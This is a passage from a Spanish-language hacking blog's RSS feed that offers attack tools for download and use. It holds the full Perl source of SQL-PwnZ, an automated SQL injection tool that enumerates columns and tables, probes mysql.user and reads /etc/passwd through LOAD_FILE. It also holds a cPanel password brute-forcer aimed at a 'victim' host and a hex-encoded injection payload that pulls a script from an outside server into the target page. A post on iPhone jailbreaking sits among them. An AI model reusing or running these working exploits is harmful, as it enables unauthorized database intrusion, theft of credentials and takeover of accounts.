         		$sql=$host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;1&quot;.$UNION.$cmn.&quot;FROM&quot;.$cmn.&quot;mysql.user&quot;.$cfin;
            	print WEB &quot;\n\n[MYSQL.USER]:\n\n$sql\n&quot;;

         	}
         else
         	{
            	print &quot;\n[-] MySQL.User no disponible&quot;;
         	}
	while ($loadcont &lt; $column-1)
	   {
		$loadfile.=','.$hexin.'LOAD_FILE(0x2f6574632f706173737764)'.$hexend;
		$loadcont++;
	   }
	print &quot;\n[!] Chequeando si es posible inyectar LOAD_FILE...&quot;;
	$sql = $agent-&gt;request(HTTP::Request-&gt;new(GET =&gt; $host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.$hexin.&quot;LOAD_FILE(0x2f6574632f706173737764)&quot;.$hexend.$loadfile.$cfin));
    $response = $sql-&gt;content();
    if($response =~ /root:x:/)
         	{
         		print &quot;\n[+] LOAD_FILE disponible...guardando en $savelist&quot;;
         		print WEB &quot;\n\n[LOAD_FILE]:\n\n$hexinLOAD_FILE(0x2f6574632f706173737764)$hexend =&gt; OK! (0x2f6574632f706173737764 =&gt; /etc/passwd)\n&quot;;
          }
         else
         	{
            	print &quot;\n[-] LOAD_FILE no disponible&quot;;
         	}
	if ($argumentos =~ /-TB/i)
         	{
              print &quot;\n\n[!] Bruteando tablas...&quot;;
              print WEB &quot;\n\n[TABLAS]:\n\n&quot;;
              foreach $tabla(@nombretabla)
                {
                  chomp($tabla);
                  $sql = $agent-&gt;request(HTTP::Request-&gt;new(GET =&gt; $host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;0x6c6f67696e70776e7a&quot;.$inyection.$cmn.&quot;FROM&quot;.$cmn.$tabla.$cfin));
                  $response = $sql-&gt;content();
                  if($response =~ /loginpwnz/)
                    {
                        print &quot;\n[+] La tabla $tabla esta disponible...guardando en $savelist&quot;;
                        $sql=$host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;1&quot;.$UNION.$cmn.&quot;FROM&quot;.$cmn.$tabla.$cfin;
                        print WEB &quot;$sql\n&quot;;
                    }
                }
           	}
        if ($argumentos =~ /-CL/i)
          {
          	print &quot;\n\n[!] Tabla a la cual brutear columnas: &quot;;
            $tabla=&lt;STDIN&gt;;
            chomp($tabla);
            print WEB &quot;\n\n[COLUMNAS EN $tabla]:\n\n&quot;;
            foreach $columna(@nombrecolumna)
            {
             chomp($columna);
             $sql = $agent-&gt;request(HTTP::Request-&gt;new(GET =&gt; $host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.$hexin.&quot;concat(0x6c6f67696e70776e7a,0x3a,$columna)&quot;.$hexend.$inyection.$cmn.&quot;FROM&quot;.$cmn.$tabla.$cfin));
             $response = $sql-&gt;content();
             if ($response =~ /loginpwnz/)
                  {
                      print &quot;\n[+] La columna $columna esta disponible...guardando en $savelist&quot;;
                      print WEB &quot;$hexin$columna$hexend\n&quot;;
                  }
            }
        }
        print WEB &quot;\n\n\n[*EOF*]&quot;;
        print &quot;\n\n[+] Todo salvado correctamente en $savelist\n\n&quot;;
        print &quot;## c0ded by Login-Root | 2010 ##\n\n&quot;;
	close(WEB);
        exit (0);
      }
}
print &quot;[-] Imposible encontrar numero de columnas, intentar con mas columnas\n\n&quot;;
print &quot;## c0ded by Login-Root | 2010 ##\n\n&quot;;
close(WEB);
exit (0);
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.brianur.info/sql-pwnz-1-5-%e2%80%93-herramienta-para-sql-injection/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Cpanel Password Brute Forcer</title>
		<link>http://www.brianur.info/cpanel-password-brute-forcer/</link>
		<comments>http://www.brianur.info/cpanel-password-brute-forcer/#comments</comments>
		<pubDate>Tue, 13 Jul 2010 22:55:25 +0000</pubDate>
		<dc:creator>Brian Urban</dc:creator>
				<category><![CDATA[Toolz]]></category>
		<category><![CDATA[bruter]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[diccionario]]></category>
		<category><![CDATA[fuerza bruta]]></category>

		<guid isPermaLink="false">http://www.brianur.info/?p=565</guid>
		<description><![CDATA[Aquí les dejo una herramienta, el nombre lo dice todo. Esta hecha en Perl:]]></description>
			<content:encoded><![CDATA[<p>Aquí les dejo una herramienta, el nombre lo dice todo. Esta hecha en Perl:</p>
<p><a href="http://www.brianur.info/wp-content/uploads/2010/07/cpanel.png"><img src="http://www.brianur.info/wp-content/uploads/2010/07/cpanel.png" alt="" title="Cpanel Password Bruter Force" width="500" height="280" class="aligncenter size-full wp-image-574" /></a></p>
<pre class="brush: perl; title: ; notranslate">
#!/usr/bin/perl
# Cpanel Password Brute Forcer
# ----------------------------
#    (c)oded By Hessam-x
# Perl Version ( low speed )
# Oerginal Advisory :
# http://www.simorgh-ev.com/advisory/2006/cpanel-bruteforce-vule/
use IO::Socket;
use LWP::Simple;
use MIME::Base64;

$host     = $ARGV[0];
$user     = $ARGV[1];
$port     = $ARGV[2];
$list     = $ARGV[3];
$file     = $ARGV[4];
$url = &quot;http://&quot;.$host.&quot;:&quot;.$port;
if(@ARGV &lt; 3){
print q(
###############################################################
#               Cpanel Password Brute Force Tool              #
###############################################################
#     usage : cpanel.pl [HOST] [User] [PORT][list] [File]    #
#-------------------------------------------------------------#
#    [Host] : victim Host             (simorgh-ev.com)        #
#    [User] : User Name               (demo)                  #
#    [PORT] : Port of Cpanel          (2082)                  #
#[list] : File Of password list   (list.txt)              #
#    [File] : file for save password  (password.txt)          #
#                                                             #
###############################################################
#            (c)oded By Hessam-x / simorgh-ev.com             #
###############################################################
);exit;}

headx();

$numstart  = &quot;-1&quot;;

sub headx() {
print q(
###############################################################
#              Cpanel Password Brute Force Tool               #
#            (c)oded By Hessam-x / simorgh-ev.com             #
###############################################################
);
open (PASSFILE, &quot;&lt;$list&quot;) || die &quot;[-] Can't open the List of password file !&quot;;
@PASSWORDS = &lt;PASSFILE&gt;;
close PASSFILE;
foreach my $P (@PASSWORDS) {
chomp $P;
$passwd = $P;
print &quot;\n [~] Try Password : $passwd \n&quot;;
&amp;brut;
};
}
sub brut() {
$authx = encode_base64($user.&quot;:&quot;.$passwd);
print $authx;
my $sock = IO::Socket::INET-&gt;new(Proto =&gt; &quot;tcp&quot;,PeerAddr =&gt; &quot;$host&quot;, PeerPort =&gt; &quot;$port&quot;) || print &quot;\n [-] Can not connect to the host&quot;;
print $sock &quot;GET / HTTP/1.1\n&quot;;
print $sock &quot;Authorization: Basic $authx\n&quot;;
print $sock &quot;Connection: Close\n\n&quot;;
read  $sock, $answer, 128;
close($sock);

if ($answer =~ /Moved/) {
print &quot;\n [~] PASSWORD FOUND : $passwd \n&quot;;
exit();
}
}
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.brianur.info/cpanel-password-brute-forcer/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Realizar Jailbreak a Iphone, Ipad y Ipod Touch</title>
		<link>http://www.brianur.info/realizar-jailbreak-a-iphoneipadipod-touch/</link>
		<comments>http://www.brianur.info/realizar-jailbreak-a-iphoneipadipod-touch/#comments</comments>
		<pubDate>Thu, 06 May 2010 19:36:21 +0000</pubDate>
		<dc:creator>Brian Urban</dc:creator>
				<category><![CDATA[Mac OS]]></category>
		<category><![CDATA[Moviles]]></category>
		<category><![CDATA[Toolz]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[hackear iphone]]></category>
		<category><![CDATA[ipod touch]]></category>
		<category><![CDATA[jailbreak]]></category>
		<category><![CDATA[liberar]]></category>

		<guid isPermaLink="false">http://www.brianur.info/?p=474</guid>
		<description><![CDATA[Desde hace algunos días se encuentra disponible Spirit, una herramienta que permite realizar Jailbreak con un solo click al Iphone, Ipad y Ipod Touch. Cuenta con versiones para Windows y Mac OS y entre las novedades que nos ofrece este programa podemos encontrar que permite realizar Jailbreak a dispositivos con Firmware versión 3.1.3 (Iphone y [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://img63.imageshack.us/img63/9773/sinttulogy.jpg"><img class="aligncenter" title="Spirit" src="http://img63.imageshack.us/img63/9773/sinttulogy.jpg" alt="" width="329" height="140" /></a></p>
<p>Desde hace algunos días se encuentra disponible <strong>Spirit</strong>, una herramienta que permite realizar <strong>Jailbreak </strong>con un solo click al Iphone, Ipad y Ipod Touch. Cuenta con versiones para Windows y Mac OS y entre las novedades que nos ofrece este programa podemos encontrar que permite realizar <strong>Jailbreak</strong> a dispositivos con Firmware versión 3.1.3 (Iphone y Ipod Touch) y versión 3.2 (Ipad). Funciona con Itunes 9.1, ya que como algunos sabrán blackra1n anteriormente presentaba problemas con esa versión y solo se podía usar aplicando un parche. Y la característica más importante para mi es que permite hacer un <strong>Jailbreak </strong>permanente <strong>(</strong><strong>untethered)</strong><strong>, </strong>es decir que si apagamos el dispositivo no tendremos que conectarlo al PC para volverlo a &#8216;hackear&#8217;.</p>
<p>Pueden encontrar la descarga en su sitio oficial: <a href="http://spiritjb.com/">Spirit</a>.</p>
<p>PD: Si tienen problemas usando este programa, ejecútenlo en modo compatibilidad con Windows 98.</p>
<p style="text-align: center;"><strong>Tutorial de como usar Spirit para realizar el Jailbreak</strong></p>
<p style="text-align: center;"><p><a href="http://www.brianur.info/realizar-jailbreak-a-iphoneipadipod-touch/"><em>Pinche aquí para ver el vídeo</em></a></p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brianur.info/realizar-jailbreak-a-iphoneipadipod-touch/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>General Injection Explorer 3.0</title>
		<link>http://www.brianur.info/general-injection-explorer-3-0/</link>
		<comments>http://www.brianur.info/general-injection-explorer-3-0/#comments</comments>
		<pubDate>Tue, 16 Feb 2010 20:07:18 +0000</pubDate>
		<dc:creator>Brian Urban</dc:creator>
				<category><![CDATA[Toolz]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">http://www.brianur.info/?p=261</guid>
		<description><![CDATA[Anteriormente publique SQL-PwnZ 1.1 una herramienta para realizar inyecciones SQL. La que les traigo hoy es más amigable y solo necesitan usar el navegador, se llama General Injection Explorer 3.0 y fue creada por PonyMagic. [?] ¿Que es? Básicamente es un explorador de bases de datos MySQL via SQLi, &#8220;incrustado&#8221; en la inyección. [!] ¿Que [...]]]></description>
			<content:encoded><![CDATA[<p>Anteriormente publique <a href="http://www.brianur.info/sql-pwnz-herramienta-para-sql-injection/">SQL-PwnZ 1.1</a> una herramienta para realizar inyecciones SQL. La que les traigo hoy es más amigable y solo necesitan usar el navegador, se llama General Injection Explorer 3.0 y fue creada por <a href="http://ponymagic.diosdelared.com/">PonyMagic</a>.</p>
<p><strong>[?] ¿Que es?</strong><br />
Básicamente es un explorador de bases de datos MySQL via SQLi,  &#8220;incrustado&#8221; en la inyección.</p>
<p><strong>[!] ¿Que tiene la versión 3.0?</strong><br />
<strong>[+]</strong> Codeado desde 0.<br />
<strong>[+]</strong> Bypasseo de &#8220;illegal operation&#8221;, y limite de  group_concat_max_len.<br />
<strong>[+]</strong> Mejor manejo de CSS &amp;&amp; DIVS.<br />
<strong>[+]</strong> Peticiones realizadas con AJAX.<br />
<strong>[+]</strong> Nueva forma de ver tablas, MUCHO mas ordenadas.</p>
<p><strong>[?] ¿Como se usa?</strong><br />
En una SQLi, unís otro select y marcas las columnas ( id=-1 union select  1,2,3,4,5 )<br />
En un valor que printee (que se muestre en la web), simplemente copias y  pegas el código de la GIE.</p>
<pre lang="bash">
(0x3c736372697074207372633d22687474703a2f2f7669727475782e636f6d2e61722f4749452f5f2e6a732220747970653d22746578742f6a617661736372697074223e3c2f7363726970743e)</pre>
<p><strong>Ejemplo:</strong><br />
<strong>Normal:</strong> tales.php?id=-1 union select 0,1,2,3,4,5,6,7,8,9&#8211;<br />
<strong>Con GIE:</strong> tales.php?id=-1 union select 0,1,(0x3c736372697074207372633d22687474703a2f2f7669727475782e636f6d2e61722f4749452f5f2e6a7322207479<br />
70653d22746578742f6a617661736372697074223e3c2f7363726970743e),3,4,5,6,7,8,9&#8211;</p>
<p>En el siguiente gif pueden ver como funciona:</p>
<p><a href="http://img692.imageshack.us/img692/9366/84930379.gif"><img class="aligncenter" title="SQL Injection" src="http://img692.imageshack.us/img692/9366/84930379.gif" alt="" width="396" height="289" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brianur.info/general-injection-explorer-3-0/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL-PwnZ 1.1 &#8211; Herramienta para SQL Injection</title>
		<link>http://www.brianur.info/sql-pwnz-herramienta-para-sql-injection/</link>
		<comments>http://www.brianur.info/sql-pwnz-herramienta-para-sql-injection/#comments</comments>
		<pubDate>Tue, 17 Nov 2009 23:57:00 +0000</pubDate>
		<dc:creator>Brian Urban</dc:creator>
				<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Toolz]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[herramienta]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://www.brianur.info/?p=126</guid>
		<description><![CDATA[Comparto con uds una herramienta muy útil para realizar inyecciones SQL. #!/usr/bin/perl ########################################################################################### # -[+]- SQL-PwnZ v1.1 &#124; By Login-Root -[+]- ### ########################################################################################### ########################################################################################### # [+] inf0: ### ########################################################################################### # Busca: ### # ====== ### # - Nº de columnas ### # - Information_Schema &#038;&#038; MySQL.User ### # - LOAD_FILE ### # - Tablas ### [...]]]></description>
			<content:encoded><![CDATA[<p>Comparto con uds una herramienta muy útil para realizar inyecciones SQL.<br />
<span id="more-126"></span></p>
<pre lang="perl">
#!/usr/bin/perl

###########################################################################################

#                           -[+]- SQL-PwnZ v1.1 | By Login-Root -[+]-                   ###

###########################################################################################

###########################################################################################

# [+] inf0:                                                                             ###

###########################################################################################

# Busca:                                                                                ###

# ======                                                                                ###

#  - Nº de columnas                                                                     ###        

#  - Information_Schema &#038;&#038; MySQL.User                                                   ###

#  - LOAD_FILE                                                                          ###

#  - Tablas                                                                             ###                                                

#  - Columnas                                                                           ###

#                                                                                       ###

#  ...y guarda todo en un archivo de texto.                                             ###

#                                                                                       ###

###########################################################################################

###########################################################################################

# [+] Use:                                                                              ###

###########################################################################################

# perl sqlpwnz.pl [WEBSITE] [COLUMNS] [FILE] [COMENTARIO] [-T] [-C] [-NOCHECK]          ###

#   [WEBSITE]: http://www.web.com/index.php?id=                                         ###

#   [COLUMNS]: Limite de columnas                                                       ###

#   [FILE]: Archivo donde guardar web vulnerable                                        ###

#   [COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)                             ###

#   [-T]: Intentar brutear tablas (Opcional)                                            ###

#   [-C]: Intentar brutear columnas (Opcional)                                          ###

#   [-NOCHECK]: No hacer el chequeo inicial (Opcional)                                  ###

###########################################################################################

###########################################################################################

# [+] c0ntact:                                                                          ###

###########################################################################################

# MSN:    no.more@passport.com                                                          ###

# Jabber: login-root@x23.eu                                                             ### 

# E-Mail: login_root@yahoo.com.ar                                                       ###

###########################################################################################

###########################################################################################

# [+] sh0utz:                                                                           ###

###########################################################################################

# In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; VenoM ; InyeXion ; N3xtdoor      ###

# Many thanks to boER, who teach me a little of perl ;D                                 ###

# VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG | WWW.DIOSDELARED.COM                    ###

###########################################################################################

use LWP::Simple;

if(!$ARGV[2])

	{

		 print "\n\n-[+]- SQL-PwnZ v1.1 | By Login-Root -[+]-\n=========================================";

		 print "\n\nUso: perl $0 [WEBSITE] [COLUMNS] [FILE] [COMENTARIO] [-T] [-C] [-NOCHECK]\n";

		 print "\n[WEBSITE]: http://www.web.com/index.php?id=\n[COLUMNS]: Limite de columnas\n[FILE]: Archivo donde guardar web vulnerable\n[COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)\n[-T]: Intentar brutear tablas (Opcional)\n[-C]: Intentar brutear columnas (Opcional)\n[-NOCHECK]: No hacer el chequeo inicial (Opcional)\n\n";

		 exit (0);

	}

@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',

	  'name','names','nombre','nombres','usuarios','member','members','admin_table',

	  'miembro','miembros','membername','admins','administrator',

	  'administrators','passwd','password','passwords','pass','Pass',

	  'tAdmin','tadmin','user_password','user_passwords','user_name','user_names',

	  'member_password','mods','mod','moderators','moderator','user_email',

	  'user_emails','user_mail','user_mails','mail','emails','email','address',

	  'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',

	  'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',

	  'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',

	  'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',

	  'sistema_usuario','sistema_password','contraseña','auth','key','senha',

	  'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',

      'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',

      'membros','utilizadores','staff','nuke_authors','accounts','account','accnts',

      'associated','accnt','customers','customer','membres','administrateur','utilisateur',

      'tuser','tusers','utilisateurs','password','amministratore','god','God','authors',

      'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',

	  'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');

@nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',

          'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',

          'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',

          'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',

          'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',

          'user_pwd','u_pass','clave','usuario','contraseña','pas','sistema_password','autor','upassword','web_password','web_username');

if ( $ARGV[0]   !~   /^http:/ ) 

  {

      $ARGV[0] = "http://" . $ARGV[0];

  }

if ($ARGV[3] =~ "--" || $ARGV[4] =~ "--" || $ARGV[5] =~ "--" || $ARGV[6] =~ "--")

{

	$cmn.= "+";

	$cfin.="--";

	print "\n[+] Comentarios a utilizar: '--' &#038; '+'";	

}

else

{

	$cmn.= "/**/";

	$cfin.= "/*";

	print "\n[+] Comentarios a utilizar: '/*' &#038; '/**/'";

}

open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n";

if ($ARGV[3] =~ "-NOCHECK" || $ARGV[4] =~ "-NOCHECK" || $ARGV[5] =~ "-NOCHECK" || $ARGV[6] =~ "-NOCHECK")

  {

      print "\n[!] Se omite el chequeo inicial...\n";

      print WEB "[WEBSITE]:\n\n$ARGV[0]\n";

  }

else

  {

      print "\n[!] Chequeando si la web es vulnerable...\n";

      $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cfin;

      $response=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");

      if($response=~ /mysql_fetch_/ || $response=~ /You have an error in your SQL syntax/ || $response =~ /tem um erro de sintaxe no seu SQL/ ||         $response =~ /mysql_num_rows/ || $response =~ /Division by zero in/)

        {

            print "[+] Web vulnerable, continua el script...\n";

            print WEB "[WEBSITE]:\n\n$ARGV[0]\n";

        }

        else

          {

            print "[-] Website aparentemente no vulnerable a SQL Inyection, intentar con otro comentario\n\n";

            exit(1);

          }

  }

print "\n[!] Buscando columnas...\n";

for ($column = 0 ; $column < $ARGV[1] ; $column ++)

{

	$union.=','.$column;

	$inyection.=','."0x6c6f67696e70776e7a";

    if ($column == 0)

      {

          print WEB "\n[COLUMNAS]:\n\n";

          $inyection = '';

          $union = '';

      }

    $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;

    $response=get($sql)or die("[-] Error al intentar encontrar el numero de columnas, chequear website\n");

    if($response =~ /loginpwnz/)

      {

         $column ++;

         print "[+] La web posee $column columnas\n\n";

         $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;

         print "$sql\n";

         print WEB "$sql\n";

         print "\n[!] Chequeando si existe Information_Schema...";

         $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;

         $response=get($sql)or die("[-] Imposible obtener Information_Schema\n");

         if($response =~ /loginpwnz/)

         	{

         		print "\n[+] Information_Schema disponible...guardando en $ARGV[2]";

            $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;

            print WEB "\n\n[INFORMATION_SCHEMA]:\n\n$sql\n";

         	}

         else

         	{

            	print "\n[-] Information_Schema no disponible";

         	}

         print "\n[!] Chequeando si existe MySQL.User...";

         $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;

         $response=get($sql)or die("[-] Imposible obtener MySQL.User\n");

         if($response =~ /loginpwnz/)

         	{

         		print "\n[+] MySQL.User disponible...guardando en $ARGV[2]";

         		$sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;

            	print WEB "\n\n[MYSQL.USER]:\n\n$sql\n";

         	}

         else

         	{

            	print "\n[-] MySQL.User no disponible";

         	}

	while ($loadcont < $column-1)

	   {

		$loadfile.=','.'load_file(0x2f6574632f706173737764)';

		$loadcont++;

	   }

	print "\n[!] Chequeando si es posible inyectar LOAD_FILE...";

        $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;

	$response=get($sql)or die("[-] Imposible inyectar LOAD_FILE\n");

         if($response =~ /root:x:0:0/)

         	{

         		print "\n[+] LOAD_FILE disponible...guardando en $ARGV[2]";

         		print WEB "\n\n[LOAD_FILE]:\n\nload_file(0x2f6574632f706173737764) => OK! (0x2f6574632f706173737764 => /etc/passwd)\n";

          }

         else

         	{

            	print "\n[-] LOAD_FILE no disponible";

         	}

	if ($ARGV[3] =~ "-T" || $ARGV[4] =~ "-T" || $ARGV[5] =~ "-T" || $ARGV[6] =~ "-T")

         	{

              print "\n\n[!] Bruteando tablas...";

              print WEB "\n\n[TABLAS]:\n\n";

              foreach $tabla(@nombretabla)

                {

                  chomp($tabla);

                  $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;

                  $response=get($sql)or die("[-] Imposible obtener tablas\n");

                  if($response =~ /loginpwnz/)

                    {

                        print "\n[+] La tabla $tabla esta disponible...guardando en $ARGV[2]";

                        $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;

                        print WEB "$sql\n";

                    }

                }

           	}

        if ($ARGV[3] =~ "-C" || $ARGV[4] =~ "-C" || $ARGV[5] =~ "-C" || $ARGV[6] =~ "-C")

          {

          	print "\n\n[!] Tabla a la cual brutear columnas: ";

            $tabla.=<STDIN>;

            chomp($tabla);

            print WEB "\n\n[COLUMNAS EN TABLA]: $tabla\n\n";

            foreach $columna(@nombrecolumna)

            {

             chomp($columna);

             $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin;

             $response=get($sql)or die("[-] Imposible obtener columnas\n");

             if ($response =~ /loginpwnz/)

                  {

                      print "\n[+] La columna $columna esta disponible...guardando en $ARGV[2]";

                      print WEB "$columna\n";

                  }

            }

        }

        print WEB "\n\n\n[*EOF*]";

        print "\n\n[+] Todo salvado correctamente en $ARGV[2]\n\n";

        print "## c0ded by Login-Root | 2008 ##\n\n";

        exit (0);

      }

}

print "[-] Imposible encontrar numero de columnas, intentar con mas columnas\n\n";

print "## c0ded by Login-Root | 2008 ##\n\n";

exit (0);
</pre>
<p>By Login-Root</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brianur.info/sql-pwnz-herramienta-para-sql-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced
Database Caching 1/56 queries in 0.628 seconds using disk: basic
Object Caching 1079/1218 objects using disk: basic

Served from: www.brianur.info @ 2012-02-05 05:28:04 -->
